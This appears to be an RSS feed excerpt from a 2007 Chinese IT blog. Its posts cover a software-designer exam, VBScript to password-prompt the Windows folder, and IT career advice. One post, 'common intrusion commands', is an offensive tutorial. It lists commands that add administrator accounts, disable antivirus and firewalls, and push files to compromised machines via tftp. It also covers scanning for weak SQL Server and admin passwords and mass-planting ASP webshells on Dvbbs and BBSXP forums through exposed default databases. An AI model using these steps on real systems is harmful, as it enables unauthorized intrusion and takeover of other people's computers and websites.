style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软件设计师考试我过了</title><link>http://www.cnitblog.com/flydream/archive/2007/06/25/29047.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Mon, 25 Jun 2007 10:30:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/06/25/29047.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/29047.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/06/25/29047.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/29047.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/29047.html</trackback:ping><description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 今天上QQ群里看见消息湖南软考成绩出来了,我高兴的就去查了下,呵呵那感觉真好过了,一个字'爽'.考出来&nbsp;我就知道有这样的结果,我太有信心了.对了忘了告诉大家我的成绩了,上午58 下午66.大家跟帖拉,把你的成绩帖出来.过了的分享下自己的快乐,没过的大家鼓励他,继续油.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 还没有查的网友快去查下吧<a href="http://www.hnii.gov.cn/djzx/cxpd.asp" target=_blank><font color=#0000ff><u>http://www.hnii.gov.cn/djzx/cxpd.asp</u></font></a>!!<br>祝大家好运!!<img height=20 src="http://www.cnitblog.com/Emoticons/QQ/47.gif" width=20 border=0></p><img src ="http://www.cnitblog.com/flydream/aggbug/29047.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-06-25 18:30 <a href="http://www.cnitblog.com/flydream/archive/2007/06/25/29047.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ORACLE 常用的SQL语法和数据对象</title><link>http://www.cnitblog.com/flydream/archive/2007/06/20/28797.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Wed, 20 Jun 2007 03:08:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/06/20/28797.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/28797.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/06/20/28797.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/28797.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/28797.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: ORACLE 常用的SQL语法和数据对象&nbsp;&nbsp;<a href='http://www.cnitblog.com/flydream/archive/2007/06/20/28797.html'>阅读全文</a><img src ="http://www.cnitblog.com/flydream/aggbug/28797.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-06-20 11:08 <a href="http://www.cnitblog.com/flydream/archive/2007/06/20/28797.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>提升JSP应用程序的七大绝招 </title><link>http://www.cnitblog.com/flydream/archive/2007/06/17/28644.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Sun, 17 Jun 2007 14:28:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/06/17/28644.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/28644.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/06/17/28644.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/28644.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/28644.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 提升JSP应用程序的七大绝招 &nbsp;&nbsp;<a href='http://www.cnitblog.com/flydream/archive/2007/06/17/28644.html'>阅读全文</a><img src ="http://www.cnitblog.com/flydream/aggbug/28644.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-06-17 22:28 <a href="http://www.cnitblog.com/flydream/archive/2007/06/17/28644.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>教您给Windows目录加口令的特殊方法</title><link>http://www.cnitblog.com/flydream/archive/2007/06/14/28480.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Thu, 14 Jun 2007 14:37:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/06/14/28480.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/28480.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/06/14/28480.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/28480.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/28480.html</trackback:ping><description><![CDATA[Windows系统目录是Windows操作系统的重要目录，当我们访问这个目录时，系统会提示你这个目录的重要性，如果需要进入，只需要单击&#8220;显示文件&#8221;就可以大摇大摆地走进去了。如果我们给Windows目录增加一个进入口令，只有那些口令输入正确的人才能进入，这样，你的Windows目录不是安全多了，而且一些不愿让别人看到的文档也可以放到里面。 <br><br><span class=tpc_content>　　</span>给Windows目录加口令，我们需要借助Windows目录中一个特殊文件：超文本模板文件folder.htt。另外我们再编写一个HTML文档用来进行口令输入错误时的提示。 <br><br><span class=tpc_content>　　</span>下面，我们先来修改一下folder.htt，用记事本打开Windows目录中的folder.htt文档（注意它是一个隐藏文件，如果你在Windows目录中找不到它，可以在我的电脑窗口中单击&#8220;查看&#8221;菜单中的&#8220;文件夹选项...&#8221;，再单击&#8220;查看&#8221;标签，在高级设置中选中&#8220;显示所有文件&#8221;就可以了。），在文档内容最后的语句前面加入如下VBSCRIPT代码： <br><br>&lt;Script language="vbscript"&gt; <br>function kouling() <br>　　dim pass&lt;BR&gt; &nbsp; <br>　　pass=Prompt("对不起，这是重要的系统目录，请您正确输入管理口令才能进入：","") <br>　　if pass="abc" then dedecms.com <br>　　else&lt;BR&gt;　　Alert "对不起，您的口令错误！" <br>　　Navigate "file://C:\Program Files\error.html" <br>　　end if <br>　　end function <br>　　kouling() <br>&lt;/script&gt;<br><br><br><span class=tpc_content>　　</span>然后保存一下文件。　先不要测试，各位看到代码中的Navigate "file://C:\Program Files\error.html"一句了吗，我们还需要建立一个error.html文档，用以进行错误提示。下面是这个文档最简单的代码，其核心内容是放置一个可以返回C盘根目录的按钮： <br><br><br>&lt;html&gt; <br>&lt;head&gt;&lt;title&gt;出错了!&lt;/title&gt; <br>&lt;/head&gt; <br>对不起，您无权访问Windows系统目录! <br>&lt;input type="button" value="返回" name="button"&gt; <br>&lt;a href="http://www.it228.com" target="_blank"&gt;计算机之家&lt;/a&gt; <br>&lt;/body&gt; <br>&lt;/html&gt;<br><br><br><span class=tpc_content>　　</span>将这段代码保存为error.html文档，并存放于C:\Program Files\下。 <br><br><span class=tpc_content>　　</span>好了，让我们测试一下吧！当你打开C盘欲进入Windows目录时，首先会弹出一个让你输入口令的对话框，输入口令abc（你也可以在folder.htt中将pass变量改为其他密码），才可以进入。如果不输入或输入错误，则直接打开页面&#8220;error.html&#8221;给以提示，单击页面中的返回按钮又会返回到C盘根目录了。<br><img src ="http://www.cnitblog.com/flydream/aggbug/28480.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-06-14 22:37 <a href="http://www.cnitblog.com/flydream/archive/2007/06/14/28480.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>常用入侵命令</title><link>http://www.cnitblog.com/flydream/archive/2007/05/15/27050.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Tue, 15 May 2007 14:17:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/05/15/27050.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/27050.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/05/15/27050.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/27050.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/27050.html</trackback:ping><description><![CDATA[<p>第一课: 入侵必备DOS命令总结 <br>一.对用户操做 </p>
<p>net user --------查看有哪些用户</p>
<p>net user guest /active:yes ------ 激活guest用户 </p>
<p>net user 用户名　密码　/add ------建立用户 </p>
<p>net localgroup administrators 用户名 /add ------- 把&#8220;用户&#8221;添加到管理员中使其具有管理员权限</p>
<p>二．必备命令</p>
<p>net start -----查看开启了哪些服务</p>
<p>net start 服务名-----开启服务</p>
<p>net stop 服务名------停止某服务</p>
<p>netstat -an :查看端口的网络连接情况</p>
<p>ipconfig :查看本地ip地址</p>
<p>三．关防火墙，杀毒软件命令</p>
<p>net stop sharedaccess ----关系统自带防火墙</p>
<p>pskill.exe ravmon -----杀掉瑞星软件</p>
<p>pskill.exe pfw ----关天网防火墙</p>
<p>net stop "Symantec AntiVirus"----关于诺顿企业版</p>
<p>net stop KAVStart------关闭金山杀毒</p>
<p>向肉鸡上传文件命令:</p>
<p>第一种方法:tftp</p>
<p>命令格式:tftp -i 你的公网IP get xx.exe</p>
<p>：计算机运行命令全集 winver---------检查Windows版本<br>wmimgmt.msc----打开windows管理体系结构<br>wupdmgr--------windows更新程序<br>winver---------检查Windows版本<br>wmimgmt.msc----打开windows管理体系结构<br>wupdmgr--------windows更新程序<br>wscript--------windows脚本宿主设置<br>write----------写字板winmsd-----系统信息<br>wiaacmgr-------扫描仪和照相机向导<br>winchat--------XP自带局域网聊天<br>mem.exe--------显示内存使用情况<br>Msconfig.exe---系统配置实用程序 <br>mplayer2-------简易widnows media player<br>mspaint--------画图板<br>mstsc----------远程桌面连接<br>mplayer2-------媒体播放机<br>magnify--------放大镜实用程序<br>mmc------------打开控制台<br>mobsync--------同步命令<br>dxdiag---------检查DirectX信息<br>drwtsn32------ 系统医生<br>devmgmt.msc--- 设备管理器<br>dfrg.msc-------磁盘碎片整理程序<br>diskmgmt.msc---磁盘管理实用程序<br>dcomcnfg-------打开系统组件服务<br>ddeshare-------打开DDE共享设置<br>dvdplay--------DVD播放器<br>net stop messenger-----停止信使服务<br>net start messenger----开始信使服务 <br>notepad--------打开记事本<br>nslookup-------网络管理的工具向导<br>ntbackup-------系统备份和还原<br>narrator-------屏幕"讲述人"<br>ntmsmgr.msc----移动存储管理器<br>ntmsoprq.msc---移动存储管理员操作请求<br>netstat -an----(TC)命令检查接口<br>syncapp--------创建一个公文包<br>sysedit--------系统配置编辑器<br>sigverif-------文件签名验证程序<br>sndrec32-------录音机<br>shrpubw--------创建共享文件夹<br>secpol.msc-----本地安全策略<br>syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码<br>services.msc---本地服务设置<br>Sndvol32-------音罖@刂瞥绦?br&gt;sfc.exe--------系统文件检查器<br>sfc /scannow---windows文件保护<br>tsshutdn-------60秒倒计时关机命令<br>tourstart------xp简介（安装完成后出现的漫游xp程序）<br>taskmgr--------任务管理器<br>eventvwr-------事件查看器<br>eudcedit-------造字程序 <br>explorer-------打开资源管理器<br>packager-------对象包装程序<br>perfmon.msc----计算机性能监测程序<br>progman--------程序管理器<br>regedit.exe----注册表 <br>rsop.msc-------组策略结果集<br>regedt32-------注册表编辑器<br>rononce -p ----15秒关机<br>regsvr32 /u *.dll----停止dll文件运行<br>regsvr32 /u zipfldr.dll------取消ZIP支持<br>cmd.exe--------CMD命令提示符<br>chkdsk.exe-----Chkdsk磁盘检查<br>certmgr.msc----证书管理实用程序<br>calc-----------启动计算器<br>charmap--------启动字符映射表<br>cliconfg-------SQL SERVER 客户端网络实用程序<br>Clipbrd--------剪贴板查看器<br>conf-----------启动netmeeting<br>compmgmt.msc---计算机管理<br>cleanmgr-------**整理<br>ciadv.msc------索引服务程序<br>osk------------打开屏幕键盘<br>odbcad32-------ODBC数据源管理器<br>oobe/msoobe /a----检查XP是否激活<br>lusrmgr.msc----本机用户和组<br>logoff---------注销命令<br>iexpress-------木马捆绑工具，系统自带<br>Nslookup-------IP地址侦测器<br>fsmgmt.msc-----共享文件夹管理器<br>utilman--------辅助工具管理器<br>gpedit.msc-----组策略 </p>
<p>第二课:x-scan扫描器的使用技巧详解</p>
<p>一.详解x-scan的配置:</p>
<p>1.扫描模块设置:</p>
<p>1).开放服务</p>
<p>(2).远程控制系统</p>
<p>(3).nt-server弱口令-----administrator 空口令或弱口令.</p>
<p>(4).sql-server弱口令 ---sa 空口令或弱口令.</p>
<p>2.扫描IP范围设置:</p>
<p>(1).指定IP范围.</p>
<p>(2).从文件中导入IP列表.</p>
<p>二.x-scan在入侵中的应用:</p>
<p>1.对系统的综合安全检测,有针对性的入侵.</p>
<p>2.找肉鸡</p>
<p>nt-server弱口令</p>
<p>sql-server弱口令</p>
<p>3.邮箱,ftp,vnc的破解</p>
<p>三.x-scan入侵实例演示部分:</p>
<p>1.找同一城市的nt-server弱口令肉鸡.(一般都是个人PC)</p>
<p>2.s扫 + x-scan扫描 找sa空口令肉鸡(一般都是服务器)</p>
<p>s扫描-----扫开放1433的机子</p>
<p>x-scan扫描-----对开放1433的机子进行弱口令探测.</p>
<p>第五课:网站猎手批量入侵实战演示</p>
<p>黑天 </p>
<p>一.二个重点要素:</p>
<p>1.关键字: 存在漏洞的程序所共有的特证.关键字一定要选准,这样命中率才高.</p>
<p>选择技巧:一般选择论坛最低部的版权信息或程序名称.</p>
<p>2.检测的页面或文件: 也就是程序存在漏洞的地方</p>
<p>二.网站猎手批量入侵实战演示篇:</p>
<p>1.实战演示一:</p>
<p>检测的页面或文件: data/dvbbs7.mdb</p>
<p>关键字:Powered By ：Dvbbs Version 7.0.0 </p>
<p>由默认数据库到拿网站webshell过程:</p>
<p>第一步:下载动网默认数据库 </p>
<p>第二步:在数据库中找管理员密码</p>
<p>技巧:动网论坛不需要破解MD5管理员密码,可以查看日志文件直接找到密码.</p>
<p>第三步:在前台以jpg格式上传asp木马.</p>
<p>第四步:用备份数据库功能把jpg格式备份成我们的ASP木马.</p>
<p>2.演示二:</p>
<p>检测的页面或文件:database/bbsxp.mdb</p>
<p>关键字:Powered by BBSXP 7.00 </p>
<p>3.演示三:</p>
<p>检测的页面或文件:upfile_flash.asp</p>
<p>关键字:商城</p>
<p>四:关于批量得webshell的其它思路</p>
<p>1.思路一:</p>
<p>到大型源码下载中心,把下载量较大的源程序,下载回来研究.</p>
<p>主要研究他们的默认数据库地址,默认管理账号和密码,默认后台.</p>
<p>然后用关键字结合网站猎手批量检测.很快就提到大量webshell</p>
<p>2.思路二:社会工程学批量入侵拿webshell</p>
<p>1.免杀</p>
<p>&nbsp;</p>
<p>2.破解</p>
<p>&nbsp;</p>
<p>3.程序汉化,个性修改.</p>
<p>&nbsp;</p>
<p>二.脱壳四步骤:</p>
<p>第一步:查壳</p>
<p>常用查壳工具: PEID ,FI ,PE-SCAN 等.</p>
<p>第二步:找OEP</p>
<p>工具:ollydbg</p>
<p>第三步:脱壳</p>
<p>常用脱壳工具:</p>
<p>1.OD自带的脱壳插件:右键脱壳之.</p>
<p>2.LordPE:选择所调试进程右键,完整脱壳.</p>
<p>第四步:修复</p>
<p>Import REConstructor 1.6</p>
<p>三.在ollydbg脱壳中常用快捷键介绍</p>
<p>F2: 下断点.</p>
<p>F4:运行到所选择的那一行.-----遇到向上跳时用到</p>
<p>F7:单步进入----遇到近call时用到.</p>
<p>F8:单步跟踪</p>
<p>F9:运行程序</p>
<p>Shift+F9 :忽略异常运行</p>
<p>Alt+M:打开内存镜像<br></p><img src ="http://www.cnitblog.com/flydream/aggbug/27050.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-05-15 22:17 <a href="http://www.cnitblog.com/flydream/archive/2007/05/15/27050.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软件设计师必考知识点</title><link>http://www.cnitblog.com/flydream/archive/2007/05/10/26813.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Thu, 10 May 2007 02:21:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/05/10/26813.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/26813.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/05/10/26813.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/26813.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/26813.html</trackback:ping><description><![CDATA[<p>1.数制及其转换,原码,补码,反码与原码的关系<br>2.校验方法和校验码<br>3.算术运算和逻辑运算</p>
<p>4.数组地址的影射(压缩存储)<br>5.链表/线性表的操作<br>6.树的有关性质(二叉树,二叉排弃树等)<br>7.递归算法<br>8.各种流程图的填空和循环次数认定</p>
<p>9.CPU运算器,控制器等的组成和作用<br>10.内存/介质的容量计算,芯片数目的计算<br>11.内存/磁盘的存取时间计算<br>12.内存页面管理</p>
<p>13.操作系统进程,设备,文件的管理<br>14.函数调用中的引用调用/值调用<br>15.网络的一些新名词的含义<br>16.TCP/IP有关的协议体系结构</p>
<p>17.数据库的一些基本概念<br>18.系统代数/SQL语言</p>
<p>19.多媒体的基本概念(较低颜色,声音的A/D和D/A)<br>20.计算机应用基础和办公软件的操作</p>
<p>21.软件工程的一些基本概念(CMM)<br>22.软件需求分析概念(DFD,ER图)<br>23.面向对象的基本概念<br>24.软件测试与维护</p>
<p>25.加密和/网络安全性 公钥密码<br>26.标准化基本概念,标准分类<br>27.信息化基本概念,有关法律,软件著作权<br>28.计算机专业英语,基本名词解释,尤其是新名词和缩写&nbsp;</p><img src ="http://www.cnitblog.com/flydream/aggbug/26813.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-05-10 10:21 <a href="http://www.cnitblog.com/flydream/archive/2007/05/10/26813.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>生命密码——通过出生日期预测一个人的性格</title><link>http://www.cnitblog.com/flydream/archive/2007/04/28/26326.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Sat, 28 Apr 2007 05:30:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/04/28/26326.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/26326.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/04/28/26326.html#Feedback</comments><slash:comments>90</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/26326.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/26326.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 里面写的很详细,我通过自己的出生日期,对自己的性格进行了分析,不妨看下,仅供参考.&nbsp;&nbsp;<a href='http://www.cnitblog.com/flydream/archive/2007/04/28/26326.html'>阅读全文</a><img src ="http://www.cnitblog.com/flydream/aggbug/26326.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-04-28 13:30 <a href="http://www.cnitblog.com/flydream/archive/2007/04/28/26326.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>考软设的借口!!</title><link>http://www.cnitblog.com/flydream/archive/2007/04/26/26240.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Thu, 26 Apr 2007 14:11:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/04/26/26240.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/26240.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/04/26/26240.html#Feedback</comments><slash:comments>8</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/26240.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/26240.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp; 我，一个平凡的不能再平凡的大三学生，尽管我不想平凡。 <br>&nbsp;&nbsp;&nbsp;&nbsp;我，一个三流大学<a href="http://www.csai.cn/incsearch/search.asp?key=%C8%ED%BC%FE%B9%A4%B3%CC" target=_blank><u><font color=#356299>软件工程</font></u></a>专业的学生，尽管我不想来这。 <br>&nbsp;&nbsp;&nbsp;&nbsp;我，一个随着环境改变而改变的学生，尽管我想拥有个性。
<p>&nbsp;&nbsp;&nbsp;&nbsp;正如我所说，我是一个平凡的学生，高中三年起早贪黑，朝九晚五的奋斗并没有改变没进重点大学的事实，来到了这个一般般的学校，来到了这个陌生的环境。
<p>&nbsp;&nbsp;&nbsp;&nbsp;也正如我说，我是一个随环境改变而改变的学生，没有了学习的气氛，没有了志同道合的奋斗搭档。存在的只是整天打游戏的兄弟，存在的只是整日颓废的大学生。
<p>&nbsp;&nbsp;&nbsp;&nbsp;突然间地狱到天堂的改变使得我很不习惯，在不习惯中日子也就这么一天天的过去了。寝室的兄弟们说：&#8220;'University'就是&#8216;由你玩四年&#8217;，毕业后混张文凭就行了，干嘛那么辛苦哦&#8221;。我知道他们的观点很不正确，却无法反驳，因为周围的人都是这样的。你想做一只独立鹤群的鸡只会受到那些高傲的鹤的鄙视。
<p>&nbsp;&nbsp;&nbsp;&nbsp;表就这么不停的走着，生活的改变直到大二的一天。有个朋友无意中说起了他已经过了软考中的<a href="http://www.csai.cn/incsearch/search.asp?key=%B3%CC%D0%F2%D4%B1" target=_blank><u><font color=#356299>程序员</font></u></a>，我那时的大脑还停留在计算机二级上，很傻的问他：&#8220;什么是软考的程序员？比计算机二级证书好吗？&#8221;很难想象他当时的表情，只听到他的话&#8220;软考是国家人事部和信息部<a href="http://www.csai.cn/incsearch/search.asp?key=%C8%CF%D6%A4" target=_blank><u><font color=#356299>认证</font></u></a>的考试，二级和它简直就没有可比性&#8221;。令我注意的是他接着说的话&#8220;XX！去试试噻，你不能再整天这样了，没有目标活着有意思吗？证书拿不到无所谓，关键是你在朝向那个目标的过程中会学到好多专业的知识&#8221;。我只能楞在那，原来自己不知不觉中不知道的，错过的已经这么多了。人和人之间的距离在不经意间坐上飞机都赶不上了。
<p>&nbsp;&nbsp;&nbsp;&nbsp;就在那时我明白了自己不能再这样盲目的生活了，不能再这样混了，不能在这样堕落了，否则自己将会后悔一辈子。
<p>&nbsp;&nbsp;&nbsp;&nbsp;就以软考中的软件设计师为目标，给自己一个借口，给报名费一个借口，给学习一个借口。之后我每天强迫自己背上书包上自习。早上6:30，学校的广播刚响，为了那个学习的借口，我不再睡懒觉；晚上11:00，宿舍的灯已经熄了，为了那个学习的借口，我还在楼道里编着程序；双休日，当寝室其他人还在游戏里战斗，为了那个学习的借口，我拿起了该学习的书。想逃课时，告诉自己报了软考，必须好好听老师讲课；想游戏时，告诉自己报了软考，必须比其他人多付出点；心情不好时，告诉自己报了软考，不能让心情影响到学习。
<p>&nbsp;&nbsp;&nbsp;&nbsp;就这个学习的借口，使我重新找到了高中时的感觉，找到了学习之后的充实感，找到了努力之后的成就敢。 <br>&nbsp;&nbsp;&nbsp;&nbsp;就这个学习的借口，终于使我的专业课知识全赶了上了，并且经常在论坛上还能解决一些数学方面的编程题。
<p>&nbsp;&nbsp;&nbsp;&nbsp;软考是我想学习的借口，感谢这个借口，感谢这个考程序员的目标，使得我不再堕落，不再"University",使得久废的我找到了自己的活力，找到了自己的青春，找到了自己的个性。现在，我将会以软考中的<a href="http://www.csai.cn/incsearch/search.asp?key=%C8%ED%BC%FE%C9%E8%BC%C6%CA%A6" target=_blank><u><font color=#356299>软件设计师</font></u></a>为借口，继续努力学习，继续充实自己，继续向前走。</p><img src ="http://www.cnitblog.com/flydream/aggbug/26240.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-04-26 22:11 <a href="http://www.cnitblog.com/flydream/archive/2007/04/26/26240.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>it人35岁时 转型不能转行</title><link>http://www.cnitblog.com/flydream/archive/2007/04/26/26238.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Thu, 26 Apr 2007 14:04:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/04/26/26238.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/26238.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/04/26/26238.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/26238.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/26238.html</trackback:ping><description><![CDATA[<span class=oblog_text>&#8220;35岁，技术生涯即告终结。&#8221;这种说法在IT界得到众多人认可，也令很多IT人为自己的未来担忧。其实，如果从另一个角度来理解，技术生涯结束，意味着新职业的开始。与其被动等待，不如换个思维，早作准备，在35岁来到之前完成转型，把握职业生涯的主动权。
<p>　　IT领域有很强的专业性，并且这个行业正处于上升过程中，转型不转行的做法对于IT人是比较理性的选择。但因为工作性质的不同，IT人在转型之前应该要告别技术型思维，为新的职业生涯储备一些新知识。</p>
<p><strong>　　选择1：做销售闷头钻技术&#8594;抬头勤沟通</strong></p>
<p>　　转型吸引力：销售工作富于挑战，而且收入与工作业绩直接挂钩，适合对薪水上升空间不满、且追求个人价值体现者。</p>
<p>　　优势：IT人有很强的技术背景，更擅长发掘产品性能的优缺点，对于IT产品的介绍具有权威性，容易被客户相信。</p>
<p>　　劣势：与销售相比，技术研发的工作环境相对封闭，工程师们与机器沟通的能力往往优于与人沟通的能力，因此，与人的沟通能力是最需要补上的一课。</p>
<p>　　学习计划：可以参考一些诸如卡耐基人际沟通技巧之类的书籍，反省自己以往人际沟通中是否有违最佳规则；其次，可以参加一些销售人员的聚会或是培训课程，给自己洗洗脑，从个人中心的思维方式转换到客户中心的模式中。当然，最重要的一点是，平时要注意多与人沟通。技巧固然可以通过训练速成，观念的转变却不是一朝一夕的事。</p>
<p>　　<strong>选择2：做培训术业专攻&#8594;博采众长</strong></p>
<p>　　转型吸引力：培训工作让人有一种帮助他人的成就感，适合喜欢与人分享、且重视精神收获者。</p>
<p>　　优势：适应企业需求，IT人在运用某一技术语言上相当精深，另外，他们在技术研发中的实战经验对于学员来说也是相当宝贵的教学资源。</p>
<p>　　劣势：除了精通某一技术语言之外，培训师需要有更广泛的知识面，而IT技术人员往往在这个方面有所欠缺。因此，要系统性地重组IT技术领域的知识，并且不断自发了解技术发展的最新动态。</p>
<p>　　学习计划：通晓多个开发平台以及技术语言的特性，训练自己撰写技术评论文章的能力，为以后独立编写教案作一个铺垫。另外，有资金，有实力的话，应该制订技术学习进度表，尽可能地获得两三个有分量的技术证书，并保持更新。</p>
<p><strong>　　选择3：做咨询技术攻关&#8594;资源整合</strong></p>
<p>　　转型吸引力：咨询师一般在企业决策中起到参谋作用，因此，能转型成为咨询师自然能保证IT人的身价不会因为年龄而贬值。适合有独立项目开发经验者。</p>
<p>　　优势：有过实际项目经验的IT人，解决实际问题的能力非常强。</p>
<p>　　劣势：除帮助客户直接解决问题之外，咨询师需要根据不同情况来提供一系列不同的解决方案，而技术人员一般只了解到自己某一项目的经验，这一经验是否能化身到其它项目上，仍有待实践的考验。</p>
<p>　　学习计划：作为有心人，个人应该收集各种项目实施的案例，分析其成功失败的原因，内化成自己的一套系统的解决方案库。另外，咨询师需要学习一些企业管理的知识，锻炼自己整合能力，能针对企业不同的资源条件，提供出具有可执行性的解决方案。</p>
<p><strong>　　选择4：做管理技术开发&#8594;团队开发</strong></p>
<p>　　转型吸引力：这里，做管理是指自己开IT公司做老板。采取这种转型是需要特别慎重的。一般来说，适合有强烈创业愿望、并且有管理能力者。</p>
<p>　　优势：技术是IT公司最核心的内容，作为这方面的行家，从IT人转型的老板自然在技术管理方面独具慧眼。</p>
<p>　　劣势：从纯粹技术从业者到管理者，衡量这个人的成功标准也从成功的技术研发能力转向成熟的团队管理能力。而从事技术开发的IT人往往重技术轻管理，这种习惯如果带到新公司里，失败就跟着来了。</p>
<p>　　学习计划：在打工期间，应该尽可能地争取一些项目管理的机会，积累管理经验，而不是一头扎在技术里。另外，系统的学习非常必要，尽管学历不代表什么，但参与一次教学过程，对于训练管理思维能力，大有裨益。</p>
<p><strong>　　特别提醒</strong></p>
<p>　　在选择转型方向时，有两个原则是需要坚持的。</p>
<p>　　第一，从兴趣出发。毕竟这个阶段，物质基础已经有一定积累了，该往高标准的精神要求去发展职业了，而不是仅仅以回报的物质条件优厚程度来决定。</p>
<p>　　第二，时刻准备着。追求成功的职业转型，准备工作并不是一个月或一两年时间就能完成的，个人应该尽早明确自己的发展方向，并根据这个方向来制定一个长期、系统的学习计划，为适应将来的转型，升级完善自身的&#8220;软硬件&#8221;。</p>
